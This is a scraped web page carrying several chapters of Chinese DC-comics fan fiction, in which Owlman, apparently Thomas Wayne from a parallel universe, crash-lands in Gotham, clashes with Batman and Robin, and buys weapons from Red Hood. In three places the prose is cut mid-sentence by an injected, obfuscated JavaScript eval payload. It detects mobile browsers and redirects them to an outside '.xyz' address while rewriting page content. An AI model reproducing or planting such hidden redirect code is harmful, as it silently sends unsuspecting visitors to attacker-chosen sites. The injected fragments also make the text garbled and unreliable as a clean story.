表针滴答作响,后者看看他有点发红的眼睛,又低头看了一眼时间,开口说道:“好吧,我知道了。我会找到他的。” “是‘我们’会找到他。” 卡尔回答。 “他必须回来。” ** 我从垃圾桶里面爬出来干的第一件事,本来是想要寻找合适的方向跑路。 刚才从天上掉下来的时候,经过理性分析,我现在所在的平行宇宙有两种可能。其一,这是完全没有超英超反的世界,身穿奇装异服的我要么被扭送精神病院,要么被当成腌入味的二次元患者登上明天早报头条。 不过既然这里是哥谭市,我倾向于我还是在美漫世界。那么就迎来第二个更加严肃的问题——我毫无征兆地从天而降,肯定已经被这儿的超级英雄们发现了。 我现在对世界的没有半点了解,上报纸很丢人,开场被抓不仅丢人还丢命。陌生的环境陌生的敌人,当然还是应该从心一点、先跑为上。 但我合情合理的计划夭折在了垃圾桶里面。 情况很难描述,简而言之,就是我掉进去之后才发现,垃圾桶里面还有一个人。 …… 不是,垃圾桶里怎么会有人?垃圾桶是什么风水宝地吗?就算是放在哥谭也不合理吧! 我没来得及思考太多,甚至没机会去检查这家伙是活着还是死了。正当我一只手抓住垃圾桶的边缘,并开始寄希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064578|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望于这是个在□□火拼中死掉且被抛尸的倒霉蛋时,我刚才还死气沉沉的邻居突兀地展开了攻击。 他的拳头从一个刁钻的角度袭来,垃圾桶内空间有限伸展不开,我用手臂上的护甲勉强接住并感受一番,确定它打在我致命处也不致死。但我不清楚他到底是因为受了伤力气不够还是故意留手,只能边被动防御边寻找反击的时机。过了一会,我抓住他因伤迟缓的间隙,抬手绞住他的脖子用力向后翻,他的腿则卡住我的腰不放,结果我们两个一起掀开盖子滚了出去。 前面说过,哥谭今天是个难得的艳阳天。 阳光温度正好,不冷不热,把这条专门用于摆放垃圾的小巷子都映照得明媚如新。我和我不够友善的合租者扭打成一团,周围满地狼藉,这时我才发现他穿着一身沾满暗红色血迹的黑色制服,身后披风破破烂烂,脸上带着面具,头上还有对尖耳朵。 我避免用所有人都知道的名字称呼他,但他确实打扮得和我记忆中的蝙蝠侠一模一样。 …… 他也没有可能是在Cosplay,除非这年头Cos蝙蝠侠要连武力值都跟着高度还原。 此时此刻我靴子里还有一柄匕首。尽管我不常用枪,但身上并不缺少拼装这种致命武器的工具。我腰带里放着许多小玩意,它们能在顷刻间带走我的对手。 蝙蝠侠受伤了,如果我尽全力,胜负尚未可知。 我没必要逃走。 他微微俯身站在我面前,口鼻中发出压抑的喘息声,血液还在顺着裤腿往下流淌,右手的指缝间不知什么时候夹住三枚蝙蝠镖向我抛来。它们划过堪称优美的弧线,在阳光下反射出刺目的金属光泽。我下意识闭了闭眼,没管这个强弩之末的超级英雄,转身一跃翻出巷子躲过了攻击。 我开始按照原计划跑路。 如果他对目前形势有正确的判断,应该就不会单枪匹马地追上来。 在这个过程中,我用我遭受世界观冲击的大脑进行思考,发现了自己一直以来的认知盲点。 我从来没把蝙蝠侠和平行宇宙联系到一块。 虽然我总说自己是穿越到美国漫画里,但因为没见过认识的角色,倒不如说‘美漫’只是调侃,我更觉得自己来到了风格比较美式漫画(还敢于打DC设定擦边球)的异世界。 对我来说,我生活的城市、我遇到的人都是真实且鲜活的。 十分钟前,我印象中的蝙蝠侠还是个纸片人。 十分钟后,纸片人竟是我自己。 打破思维定势再思索一下,如果平行宇宙中蝙蝠侠生活在哥谭,那他面具底下究竟是谁? ——古老的哥特式建筑群间,韦恩大厦是少有的偏向现代化的建筑。它矗立在城市如山岳般层峦起伏的钢筋铁骨之中,仿佛一面高耸的旗帜,在日光下熠熠生辉。 我没再想下去。 我听见了我身后传来引擎声。 蝙蝠侠不想放弃,他开车追过来了。 而且他还有一个同伴。 我心脏一路往下沉,集中注意力开始考虑今天要付出多大代价才能脱身。 8. 对峙 “蝙蝠侠,你找到刚才那个人了吗,需不需要支援?” 瞭望塔上,轮到今天执勤的钢骨对着通讯台问道,“超人现在不在地球,闪电侠在上班,但女侠说她有时间。” “不用。”哥谭市,蝙蝠侠集中注意力驾驶。罗宾达米安在他身边探出头打量行动目标,手指不断在刀柄上开合显得很兴奋,只分出一缕注意力旁听父亲同联盟成员的对话,“我能处理。” “这么说你们已经交过手了?” 这效率也太高了……自从不明人士降落到市区就失去对方定位的钢骨不由得在心中嘀咕一句,“好的,注意安全,及时联络。” 关掉通讯器,蝙蝠侠瞥了罗宾一眼:“看出什么了?” “他真的不是从平行宇宙过来的蝙蝠侠吗?”达米安说,“穿衣风格和行动方式都差不多。” “他不是。”布鲁斯回答得很肯定,他们之前接触过平行宇宙,但这次是新面孔,“注意分寸,达米安,他是个……”他回想着之前垃圾桶内的交手过程,斟酌了一下自己的用词,“亡命徒。” 然而他的说法只是让男孩更加跃跃欲试起来。 下一刻,前方目标回头望了他们一眼,从腰间取下来什么东西向后抛出。 蝙蝠侠猛地扭转方向盘,蝙蝠车轮胎和地面擦生出火花漂移到道路的另一侧,紧接着倾斜四十五度攀上旁边的建筑物,与榴弹爆炸产生的冲击擦身而过。 他们冲向半空又落了下来,车辆颠簸两下,继续高速前进。 “啧。”达米安道,“‘亡命徒’,看得出来。” “他很熟悉哥谭。”说话间,目标转移进了一条车辆无法行事的小路,布鲁斯踩下油门打算从外侧抄近路堵住对方,“先知,我们遇到过这样的对手吗?” “我在检查。”通讯里芭芭拉·戈登回答,“但是猫头鹰先生进入监控的画面少得可怜,也许我还没有你们在现场看得清楚。” 被先知亲切地称呼为Mr·Owl的男人前进速度到底没有车辆快。他们最终在小巷的出口再次相遇,这时再转头已经来不及了,对方飞快地看了看丝毫不打算减速、笔直冲过来的蝙蝠车,在紧要关头用一根长度有限的勾爪挂住了楼房的外置消防逃生通道,以毫厘之差跳起避开车头,而后重重地摔在蝙蝠车顶盖上。 ——蝙蝠车两侧装有特殊装置,只会将人弹开而不会真的将其撞死,但猫头鹰显然不知道这一点。 他甚至不知道蝙蝠侠是不杀人的,比阿卡姆那些‘老朋友’看上去谨慎质朴多了。 任务目标在车顶翻滚几圈,于边缘停住俯下身,手指牢牢扣住棚顶。达米安侧耳听到动静,转头以眼神示意蝙蝠侠,布鲁斯对他点了点头。 于是达米安打开车窗,灵巧地翻身出去,与此同时出鞘的刀锋划过一条雪亮的弧光。 猫头鹰用一只胳膊架住利器,抬腿横扫。转身之际他的椭圆形护目镜对准罗宾被面具遮盖、仍显得稚嫩的脸蛋,以及不足他一半的身高,头一次出声道:“小孩子?” “先知。”仍然在高速驾驶往空旷处前进的布鲁斯立刻开口,“捕捉声纹。” “我正在对比,但是还没有什么成果。” “而你会是‘小孩子’的手下败将。”罗宾扑了上去,刀尖直指陌生人咽喉。 猫头鹰冷冷地看了对手一眼,弓着腰且战且退,在路过一个光线昏暗的桥洞时故技重施,往车顶放了一枚定时炸|弹,再用勾爪拉住支撑梁跳起。 罗宾拽着他的披风、和他一起冲向空中。 留在蝙蝠车顶的炸|弹发出了声闷响。 五六秒钟之后,他们穿过桥洞来到哥谭南侧的亚当斯码头,这附近有一片废弃的工厂区。被迫变成敞篷的蝙蝠车车尾转了个巨大的圆,掉过头来停住,布鲁斯紧接着跃起冲向缠斗的两个人。 “你做了个错误决定,猫头鹰。”达米安讥讽道,“这是蝙蝠侠最喜欢的一辆车。” “夜枭。”男人低声道。 他并不回答其它问题,沉默地扫了眼看上去已经经过包扎、现在行动自如的蝙蝠,忽然不再留手。 他一只带着手套的手硬生生握住了罗宾的刀刃,将其往自己的方向拉。达米安猝不及防踉跄一步,膝盖顶向敌人下身。夜枭顺势抓住他的脚踝,抬腿用力撞了两下达米安的手腕,将他的武器击飞,而后手掌按住他的后脑环住他的脖颈,另一手从自己靴子里抽出匕首、将罗宾脸上的多米诺面具挑飞了一半。 随后他低头,凝视着男孩因愤怒发红的面颊,忽地怔在原地。 布鲁斯就在这时一拳挥过去,电击装置让对方无声地抽搐两下,不由自主地扔下达米安。蝙蝠侠将他拉扯到自己面前,又是毫不留情的一拳,这次击中了敌人小腹。 夜枭倒飞出去,撞在工厂大楼的墙壁上,在簌簌的灰尘中发出一两声沉闷的咳嗽。 然后他跌在地上,侧翻滚躲过蝙蝠镖再挣扎着爬起来,小臂交叉抵住蝙蝠侠的进攻。十几次招架之后,他裸绞将布鲁斯带倒,本该锁住颈动脉的手臂却停顿了一瞬。布鲁斯不进反退,两人跌跌撞撞地向后移动,短时间几乎分不出胜负。僵持片刻后,胜负的天平开始向布鲁斯倾斜,夜枭力竭似的收回手臂,在惯性作用下后背再次撞在墙上。 布鲁斯旋身抓住他的头,手臂猛然用劲一拉再一推。 “砰”地响声。 夜枭四肢力道一松,后脑伤口处的血在男人身体倾斜时从面具和脸颊缝隙间流淌出来。 布鲁斯仍然不敢放松,他膝盖抵住对方的胸膛,手指制住喉咙,威胁性地质问道:“你是谁?!” 他从夜枭的护目镜中看见自己的倒影,却无法透过面具看到对方的样貌。 男人断断续续咳嗽着,双手握住布鲁斯掐着他脖子的手的腕部,两人又开始角力,同时他急促地喘着气说道:“你要杀了我吗?” 蝙蝠侠的手臂肌肉紧绷,持续用力。 “如果必要的话。” 他撒了个谎。 夜枭口中冒出笑声似的气音,他歪了歪头,看向达米安的方向。男孩看上去非常愿意替代自己的父亲给他来上一刀。 “那你在等什么……韦恩?” 他含糊地吐出那个姓氏,握住蝙蝠侠手腕的手松开了。布鲁斯差点被他迷惑住——差一点,他以为夜枭真的放弃了。但下一瞬间,他的脚踝被身下人的右腿横扫而过,只得放开一只手撑住地面以防自己摔倒。 夜枭转身像猎豹一样单脚点地、从他的桎梏中冲了出去。 他们回到互相对峙的状态。 而且彼此清楚对方不剩下多少体力。 罗宾缓慢地将回到手中的刀举到脸颊位置,声音平静道:“别太傲慢了,猫头鹰。” 布鲁斯心中一紧,知道他被刺激出了遗传自塔利亚的狠劲。 夜枭却往后退了一步。 “我对你们的迎新会印象深刻。”他说,“但是我还有很多事,就不奉陪了。” 太阳已经快要落山了,他礼貌地一颔首:“夜安。” 然后在剩下两人的注视中融进了阴影中。 达米安转过头:“要追吗,父亲?” “不着急。”布鲁斯挺直脊背安抚地按住他的肩,感受到男孩慢慢放松下来,“我们先回蝙蝠洞,看看他要做什么,以及等待先知的调查结果。” ** “我没想到您白天也能过得这么惊心动魄。”阿尔弗雷德帮布鲁斯重新包扎伤口,“连续工作超过三十小时感觉怎么样?” “什么?”布鲁斯双眼集中在电脑屏幕上,根本没听清管家的话。 “我说——唉,算了。”沾血的镊子被放回托盘,阿尔弗雷德拍了拍手,“好了,老爷,现在伤口好点了吗?” “好多了,谢谢你,阿弗……夜枭目的地是哪,市图书馆?” “如果他真的像你说的一样熟悉哥谭,那这就不是最近路线,除非他打算先去别的地方。” 芭芭拉快速移动鼠标,无数监控画面在她面前闪烁,夜翼陪着她一起来的,这会双臂交叠搭在轮椅的靠背上。 “让我想想那条街上有什么……”迪克·格雷森摸摸下巴,“大学城附近是不是有家裁缝店?” 芭芭拉愣了愣,打开裁缝铺对门的监控调整时间,果然在角落中找到了一片漆黑的衣角。 阿尔弗雷德挑眉:“不得不说,这位先生品味不错。” “有钱人的坚持。”迪克翻了个白眼,“但我们还是看不到他的脸。” 走出裁缝店的男人换上一套黑色西装,外面套着同色大衣,头上顶着宽檐帽。他把帽檐压得很低,正好避开摄像头的监视。 “然后他确实去了图书馆。” “那里收藏有近十年的报纸,和最新版本的近代史。”布鲁斯道,“如果他来自平行宇宙,想要知道两个世界的区别,只能去了解历史。而且他不信任网络,他猜到我们这边有能力追踪他。” 夜翼追问道:“这家伙到底是什么人?他知道你的身份了吗布鲁斯?” 蝙蝠侠慎重地摇头:“我不确定。” 当时夜枭只叫出了姓氏。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064579|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而猫头鹰先生可以通过罗宾的长相判断出他姓韦恩,却不一定知道达米安是布鲁斯的儿子。但他应该有所猜测,所以才会使用那种简短的、概括性的称呼。 毕竟当时在场的有两个韦恩,理论上应该使用全名以作区分。 夜翼吐出一口气:“看来我们这段时间都得集中注意力解决这个大|麻烦了。为什么他不能像真正的猫头鹰一样白天休息?” 只有芭芭拉回答了他:“因为他是个人类,迪克。” ** 我在图书馆翻到了一张很多年以前的、边缘已经微微发黄的老照片。 它被夹在近现代史的书本中,不知道是谁放在那的,几乎快要和书页融为一体了。我花了点技巧才能不伤纸页地将它扯下来拿在手上,然后对着这张正义联盟成立时、七位超级英雄站在媒体前拍下的第一张合照发了会呆。 蝙蝠侠下手半点不留情,我现在后脑还没什么知觉,耳朵里时不时响起一阵接着一阵的嗡鸣。这可能是脑震荡的征兆,总之我现在思维比较混乱,自己都不确定自己在想些什么。过了一会我打起精神,把照片放进怀里,又看了近半个小时的近代史。等到夜幕彻底降临,图书馆管理员开始往外赶人时,我将书放回去,随着人流涌到街道上。 街角的摄像头旋转了一下,对准我所在的位置。 蝙蝠侠真的很执着,我以为他回去之后至少会睡一觉。 但他也许有其他帮手。 我没管那个像活物一样光明正大随着我移动而移动的摄像头,暗地里肯定还有别的眼线,打碎了摄像头不仅没用,还会加深他们对我是个危险人物的印象,不如装作没看见。 头上的帽子让我安心,我放开脚步在街上漫无目的的走了一会。这时正经人差不多都已经回家了,我所在的位置不是主干道车辆本就不多,街头空空荡荡,只有随机打地铺的流浪汉和乞讨者。 我估计我再游荡一两个小时,运气好的话能碰上几个拿枪对射的混混或者□□。 前方是谢尔顿公园,我找到一个路灯下的长椅坐了下来。一个女白领在我面前行色匆匆地走过,头也不抬地飞速道:“韦恩集团救济中心,前方右拐走七百码。” 我反应过来:“谢谢。” 她惊讶地看了我一眼,这才注意到我身上材料昂贵的西装,女孩儿脸红了:“对不起先生,是我多管闲事。” “没事。”我不太习惯这种对话,尽力说的得体一点,而不会听上去像是威胁,“哥谭夜晚很危险,你最好快点回家。” 我失败了。 这姑娘充满血色的面颊‘刷’地一下变得苍白,不知想到什么、看着我不自然地打了个哆嗦。然后她垂下头抱紧手里的文件夹,踩着高跟鞋飞快地跑远了。 这就很尴尬。 看来在这边的世界,夜晚身穿正装出现在奇怪地点的人也八成是□□成员。 但我实在没钱再买去一套休闲服了,倒不如说我身上这件都不是以正常手段得来的。我们两边世界善恶颠倒,这里的总统我名字都没听说过,美元自然也不互通。不过商店里的老裁缝看到我身穿制服的样子,都不用我说什么就老老实实翻出一套成品。 还问我:“现在测量您的尺寸定制实在来不及,不然您明天来取?” 我只好取走那件保存良好的旧货,以行动担保自己不会因此崩掉他的脑袋。 这里的哥谭并不特别安全。 但在我那边,我根本从来都没听说过救济中心这种东西。帮扶弱者、赡养老人、照顾儿童等等,都被看作是一种资源的浪费。 我倒是可以以韦恩的名义出钱建立,可是我没有。 我谨慎地守着那边世界的潜规则,唯恐自己跨过边界太多,被当成异类踢出牌局。 这不能说明我的懦弱,却能显露出我的无能为力。 而这里的韦恩家族截然不同。 ——蝙蝠侠截然不同。 之前从他手里逃命的时候,我随身携带的武器装备消耗了七七八八,现在为自保不得不想方设法从特殊渠道搞到一些好用的家伙。就地取材不是不行,可随机性太大,对手又极其难对付,我还不想那么快就落到哥谭义警手里。 我得联系上哥谭市的□□。 不知道他们现在的老大是谁。我开始在脑海中回忆曾经遇到的哪个对手、看似能在这边的世界荣升成黑|手|党头领,并在这种身份颠倒的荒诞情节中体会到了奇妙的趣味。 而我哪边都不是。 所以我站在这,既回不去辛迪加,也不属于韦恩。 9. 树洞 My 我重新换回制服、再离开公园的时候月亮已经升到头顶上了,昨天白天哥谭没下雨,但地上还是泛着潮气,鞋子走在路上都没有声音。有流浪汉身上裹着毛毯,蜷在某家商店的透明橱窗下,一下一下冲我颠着他手里的金属盒。 我没有理会他,走进对面灯火辉煌的酒吧,在吧台前面坐下来。 目前来看两个世界之间有区别,但也不乏共通之处,比如正义联盟对应辛迪加,世界版图差别不大,甚至具体到哥谭市——我走到荒芜一人的街道时,时常有种自己没跨越宇宙的错觉。从历史发展的角度分析,我们就像同一棵树上伸展出来的两根树枝,但又没法明确找到明确的分叉点。 既然两个世界人类三观的差别摆在那里,还有这么多照镜子似的相同点实在有点不科学。蝴蝶效应指出在动力系统中,初始的微小变化能带动整个系统发生长期的、巨大的连锁反应,别说韦恩了,就是某个世界哥谭市没了我都不会很惊讶。但我现在已经知道我自己确实活在美漫世界…… 世界需要蝙蝠侠!!! 开玩笑的。 我只是想试探下,在我们那边作为一小个超英联络根据地的酒馆,在这里会不会已经被□□承包了。 “一杯马丁尼。” 我没管周围人或恐惧或恶意的打量,掏出枚银色硬币递到调酒师身前。 这是我之前放在制服腰带里的通货。它并不是美元,而是我们那哥谭□□当年使用过的一种身份证明与交易货币,算是我早年最有价值的纪念品,由于不占地方就一直随身带着,现在边缘被磨得都有些光滑了。 调酒师眼睛睁大了一瞬,我就知道这边的□□也使用……或至少曾经使用过类似道具。他定定地看了看硬币又看看我,拿出柜台下的毛巾擦擦手:“您想要什么?” “带我去见你的上司。”我收起硬币,“别紧张,只是想谈笔生意。” 不支付美元的那种。 调酒师舔了下嘴唇:“当然,当然,我他一直都在,您跟我来。” 爬楼梯时我察觉到视线抬起头,看见一个头戴红色头盔、身穿紧身衣的青年站在二楼平台上俯视我。他看上去身强力壮、精于战斗,对自己的身手很自信。我的到来并不令他惊讶,应该是已经提前得到了消息。 我倒是没想到我随便在大街上找一个□□,头领看上去就是那种在漫画里有名有姓、至少要占一页全身特写的类型。不过从现实的角度仔细想想,能在蝙蝠侠的铁拳下屹立不倒的反派都应该有些特殊之处。 换个职业能称赞上一句年轻有为了。 “这位,怎么称呼?”我随口问给我带路的调酒师。 “红头罩。”他慌慌张张地回答。 我感觉有些不对劲,调酒师又补充说:“老大才接管这里没几天,以前这边归马罗尼、西恩尼斯、科伯特……” “很混乱?” “一直如此。” 他领着我走到一个独立包厢里,他的上司快步走了过来,我们隔着方桌坐下,房间里没有其他人,灯光相对昏暗。调酒师带过路就匆匆离开,周围环境装修得非常低调奢华,红头罩本人的风格却不太一样,也不知道这家倒霉开在哥谭的娱乐场所换过几任主人。 半晌,他率先开口道:“你是我没见过的新面孔。” 我很想回一句你也是。 之前我还想着,这回说不定能看到我们那边超英反转之后变成什么样。结果红头罩遮的比我还严实,我们活像两个社恐见光死患者的线下交流现场。 “我该叫你夜枭吗?你昨天白天出了挺大风头。” 消息居然很灵通。 我在这儿进行补给而不是空手离开的概率大大增加了。 虽然但是我不太能搞不懂这边的哥谭,总不能随便什么□□基层都密切关注蝙蝠侠吧,还是我真的就在大街上胡乱蒙到一个重点人物?如果是后者,巧合得不像巧合,像故意安排。 我说:“生活中总有些难以预料的意外。” 比如你从天而降,比如你迫降的垃圾桶里有蝙蝠侠,再比如你环游哥谭之后还把自己的后脑勺摔出脑震荡。 “你不是在故意找他麻烦?那老家伙白天几乎从不出现,而他因为你跑遍了大半个城市。” “听上去你满腹怨气。” 红头罩冷哼一声,又像是在幸灾乐祸:“你知道什么?他不睡觉别人怎么做生意?” “这就是我来找你的目的。”我说,“一笔生意,就看你感不感兴趣。” 他沉默片刻:“……取决于你用什么做交换。你有钱?” 我对不起我的姓氏。 “暂时没有。”我确实拿不出来钱,除非我现在就去和那个不知道叫什么的韦恩家主做血缘鉴定,“交易有很多种方法。” “我听说你手里有一枚银币。” 我将自己的收藏品推到他身前。红头罩低头看它:“你知道吗?这玩意在好几年前被废弃,蝙蝠侠亲手把市面上能见到的最后一枚扔进了熔铸炉,我很好奇你是怎么拿到的。” “这和我们现在的话题没有关系。” 我不知道他消息究竟灵通到什么地步,是否有机会从正联或者其他什么乱七八糟的地方得知我来自平行宇宙。 不管怎么说我不可能告诉他,我同□□的关系在很长一段时间里都只有你死我活。 他现在握在手里那枚硬币可能还沾过我和他们的血。 我觉得,推测出‘我和蝙蝠侠曾干过差不多的事’是我近日以来听到的唯一一条好消息,但也只是没什么意义的自我满足。 “随你怎么想。”我简单地说,“只说你卖不卖。” “你付的钱不够。”红头罩看着我,“这枚硬币是很有收藏价值,却不足以让我冒着惹怒蝙蝠侠的风险为你提供支援。我们开诚布公地说吧,除非知道你的目的和你的身份,我才能决定要不要进行这笔交易。” “你在开玩笑?” 红头罩拉开办公桌的抽屉。 那里面放着一台蝎式EVO。 我立刻警惕起来,做好战斗准备。他差不多在同一时间将枪口对准我。 “这里是哥谭。”他举枪瞄准的姿势非常标准,“是你有求于我。” 我没指望就这么展开合作。但说实话,蝙蝠侠够麻烦的了,我不了解红头罩在哥谭的地位,以防万一并不想在跑路的时候,身后还缀着另一条尾巴。 “——现在,说点什么。” 我坐在宽敞的办公椅中,一只手搭在扶手上、一手放在腰间。红头罩双手握枪,位置比我更高点,显得很有气势。 我有点想笑,又忍不住想叹气。最后我敲了两下扶手,心想不管他背后站着谁,总不会是蝙蝠侠。 我能说点什么吗? 我能。 反正不会有人知道。不会有人知道我来过。 而且他放冲|锋|枪抽屉里还摆着一本圣经,真有意思。 “那就谈谈你想知道的内容吧。”我收回握着武器的手,看着那本圣经开口,“我之前犯了个错误。” “我有罪。” 弑亲。我杀了另一个宇宙的韦恩夫妇。 “并且想把这罪责分摊到另一个人身上。” 我想过,如果最后负责审判的人是蝙蝠侠—— 【“你要杀了我吗?” “如果有必要的话。”】 我调整了一下姿势,沉浸在自己的思绪里,懒得看那台指着我的蝎式:“他身体里应当流着和我一样的血。我不知道他的名字,也不了解他的经历,但我想我们至少有一部分是相似的。” 红头罩质疑:“等等,你不知道他是谁?” “不知道。”我笑了一下,“他的名字就摆在我触手可及的地方,但我不能去看也不该去想。哪怕我可以重新认识他、同他交流,这件事也没好处。” “……假如你能说的更明白点。” 我想了想:“最好的结果就是维持现状。” 对他而言,没有我,他会得到更好的。对我来说,我需要想象他在没有我的情况下能过得好。 至于其他,如刚才所说,我现在不能向下思考。 我必须将思维集中在固定的事项上,才能避免自己做出什么难以挽回的事。 而这种强迫式转移注意力的方法我这些年运用得很熟练,尤其是在睡觉前。 “我不能死在蝙蝠侠手上,哪怕从道理上说得通。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064580|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”一旦开口就有点停不下来,我主动对红头罩解释,“我得做点准备,这件事和□□不冲突。” 红头罩的声音干巴巴的:“但也不会给……给我们带来什么益处。最后一个问题,”他清了清嗓子,这会他对我的敌意还在,我实在不知道他能从我含糊其辞的树洞里面听出什么来——他现在的语气显得有点古怪,“你到底是谁?” 有必要说明一下,我在我们那边其实是没有特意隐藏身份的。 毕竟我是个反派,需要担心的只有害怕被我干掉的人。穿制服与称呼代号更多是一种习惯,以及象征,我对告诉别人我是托马斯·韦恩这件事不怎么排斥。 然而现在不行。我得考虑会不会有人能凭借我的长相认出我姓韦恩? 除了眼睛颜色,罗宾长得快要和布鲁斯小时候一模一样了。不过我和布鲁斯分别更像我们的母亲和父亲,只有亲眼见过韦恩夫妇或者对他们外表特别熟悉的人,才能通过我的样貌来确认身份。 而这个宇宙的玛莎·韦恩死去很久了,再加上五官相似的陌生人也不少,正常人都不会往特殊方向联想。 话是这么说,实际上我的耐心已经濒临告罄了。 罗宾的脸一遍遍在我眼前重复出现,还有蝙蝠侠,跟他妈洗脑循环播放的鬼畜视频一样。 牧师,捧着圣经站在墓碑前,另一只手在胸前划了个十字。 他说:“Godblessyou,Wayne.” 别想了。 ——停下来,托马斯。 我站起来对红头罩意兴阑珊地说:“这条没什么可谈的。如果你坚持,今晚的交易就算了。” “……” 我最后从他那拿走了一把柯尔特,一台蝎式,两只军用匕首,一条长度适当的勾爪,几枚烟|雾|弹闪光|弹之类的投掷物,以及一点医疗用品。 这两把枪可能都打不穿蝙蝠侠护甲。 但反正我又不想和他拼个你死我活,如果是那样的话,我至少要搞到□□或者榴弹发射器。 现在这些足够了。 桌子上收拾到还剩下最后一点弹药的时候,窗口外传来很轻的‘咔嚓’声。 紧接着玻璃破碎,窗帘被风吹起,一道蝙蝠形状的狭长影子打在地面上。 我沉积在胸口的那口气到底还是长长地吐了出来,不能说是惋惜或者感慨——该来的总会来。 ** 杰森坐在一片狼藉的会客室里,脚边散落着玻璃碴,椅子上还有子弹擦过的痕迹。 过了一会,他放在桌子上的手机屏幕亮起,是红罗宾发过来的信息:“谢了。” 他回复:“事情解决了?” “不,没可能这么快解决。‘卧底’成□□老大的感觉怎么样?” “你休想再让我帮你们干这种活,小红。休·想,明白我的意思吗?” 提姆:“好吧,我是问你觉得他怎么样。” 杰森:“你们不是都听见了?作为交换,我想知道蝙蝠侠是怎么让夜枭坚信他会杀人的。” 提姆:“:)” 提姆:“布鲁斯什么都没干,这是生活环境造成的。如果一个人此前遇到的超级英雄都会杀人,那他很难不觉得下一位也会这样做。” “你们知道他是谁了?什么叫‘他身体里应当流着和我一样的血’?克隆?别告诉我是刺客联盟,也别告诉我猫头鹰法庭。” 提姆:“我们都没法确定他那几句话描述的是不是同一个对象,甚至他有没有说实话。就算他指的是蝙蝠侠,这句话也能理解成他觉得自己和布鲁斯是一类人。” 提姆:“不过有意思的是如果他认为蝙蝠侠会杀人,那‘把这罪责分摊到另一个人身上’指的就不是杀戮,而是更严重的某件事。” 提姆:“不说了,我去帮忙,希望这次夜间活动不会持续到早上。” “又及,你给他提供的装备稍微有点多。” “……” “是啊。”杰森恶狠狠地打字,“下次我什么不给,就直接说我和老蝙蝠是一伙的,想报复去找红罗宾准没错。” 然后他关掉对话框,扭头看着窗外沉沉的夜色,边心想蝙蝠洞什么时候才会迎接新客人到来。 10. 殊途同归 “老爷,猫头鹰先生的DNA检测结果出来了,”阿尔弗雷德说,“我猜您应该会想要立刻了解。” “稍等……你怎么也开始叫他Mr·Owl了?” “因为我还不知道他的真名,老爷。不过他让我想起一个人来,您还记得林肯·马奇吗?” 这是一个不用管家提蝙蝠侠也能联想到的名字。布鲁斯四岁时玛莎再次怀孕,他本该有个叫做小托马斯·韦恩的弟弟。但由于当时韦恩家致力于建设城市而惹恼了猫头鹰法庭,利爪们策划多起谋杀致使玛莎早产,在接下来的几年中,阿尔弗雷德的父亲与韦恩夫妇先后死亡。 数十年过去,蝙蝠侠再次同猫头鹰法庭起冲突,这时一个叫做林肯·马奇的男人自称是当年本该死去的‘小托马斯·韦恩’。他在孤儿院长大,之后被猫头鹰法庭带走成为他们麾下的一员,最后在与蝙蝠侠的战斗中败退不知所踪。 布鲁斯认为林肯被法庭洗脑、灌输了错误的身份认知,但由于没有证据,对方究竟是否留着韦恩的血始终是个谜团。无论如何,他们是敌人,他的兄弟早在布鲁斯四岁那年就死去了。 但现在情况发生了转变。 阿尔弗雷德在检测结果出来之后提到林肯·马奇,准没好事。 布鲁斯心中也隐隐有这样的预感,只是他不愿意承认罢了。血缘关系不会令他产生任何动摇情绪,问题在于,这让夜枭看到达米安长相之后的怪异反应有了解释。 猫头鹰一次退却能解释成针对不利形势的战略性转移。 而今天晚上,提姆请红头罩帮忙套话,蝙蝠侠紧随其后,本以为又会是场苦战。结果夜枭动手雷声大雨点小,轻飘飘地撒了满地描边枪法,在火力充足的情况下毫不犹豫地投奔夜色,连裹在身后的披风都带上点真正猫头鹰受惊后缩成一长条的意味。 布鲁斯本来想和他谈谈,一看这场面,算了,还是先追上再说。 且百忙之中抽空回答阿尔弗雷德:“夜枭和林肯的区别在于,他并不想我们知道他姓韦恩。” “是啊,从他的行动轨迹来看,简直能称得上是唯恐避之不及。” “他以为你要杀他。”夜翼插嘴,“我觉得在这种情况下拉开距离是十分明智的。” “……” 提姆之前和杰森聊天的时候,给自己的导师保留了颜面,家庭通话则没有这种烦恼。 “蝙蝠侠理应令人恐惧。”布鲁斯板着脸说,“而且我们刚才谈论的是,他避开了韦恩,而不是避开我。” “这在我看来是一回事,布鲁斯。” “不,它们完全不同。” 按照计划,这场追击战会以一个人抓到另一个告终,然而在进展到中途时,原本相对宁静的哥谭夜晚被警局上空巨大的蝙蝠灯照亮了。 蝙蝠侠在两个南辕北辙的方向目标前徘徊了一瞬。 